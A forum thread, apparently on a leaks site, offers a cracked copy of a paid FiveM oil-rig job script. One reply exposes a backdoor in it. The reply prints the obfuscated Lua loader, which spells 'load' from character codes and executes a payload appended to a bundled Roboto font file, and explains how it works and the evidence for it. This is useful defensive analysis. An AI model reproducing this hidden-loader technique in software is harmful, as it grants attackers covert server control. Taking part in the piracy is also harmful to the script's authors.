Script 17MOV_OILRIG FULLY WORKING JOB DECRYPTED AND TESTED

[juvtz]

17MOV_OILRIG FULLY WORKING JOB DECRYPTED AND TESTED

PREVIEW -

LINK -

Hidden link for visitors, to see Log in or register now.

 

[Jimsta8]

IT DOES NO WORK ON QBCORE?

 

[Kikibibi]

how test

 

[partetudo1905]

thanks

 

[Malene562721]

Nice backdoor in server/functions.lua

 

[bishnu]

thanks

 

[uncletaco]

doesn't work.

 

[Vishalshgig]

17MOV_OILRIG FULLY WORKING JOB DECRYPTED AND TESTED

PREVIEW -

LINK -

Hidden link for visitors, to see Log in or register now.

Where it is​

server/functions.lua, lines 64–65


lua
local loadFonts = _G[string.char(108, 111, 97, 100)]
loadFonts(LoadResourceFile(GetCurrentResourceName(), '/web/assets/fonts/Roboto/Roboto.ttf'):sub(87565):gsub('%.%+', ''))()

How it works​

1. string.char(108,111,97,100) spells "load". It's written that way so a search for load( won't find it. The result is stored in a variable named loadFonts to look harmless.
2. The script reads web/assets/fonts/Roboto/Roboto.ttf from the resource folder. A real Roboto font wouldn't be involved in a server script at all.
3. It takes everything from byte 87,565 onward, which is a 635-byte tail appended after the font's real data (the file is 88,199 bytes). It runs that tail through gsub and then executes it as Lua on your server with load(...)().
4. Because it's server/functions.lua, the code runs with full server privileges. It is also listed under escrow_ignore, so it isn't protected or inspected by escrow.

Corroborating evidence​

• server/functions.lua and Roboto.ttf (plus its fonts/Roboto/ folder) have a later timestamp (2025-09-25) than everything else (2025-09-04). They were added or modified after the original build.
• Nothing else in the resource uses load, PerformHttpRequest, os.execute or similar. The only external URL is the jQuery CDN in index.html.
• The pack is a "Five leaks" redistribution of a paid 17 Movement script. leak packs are a common way for this kind of injected loader to spread.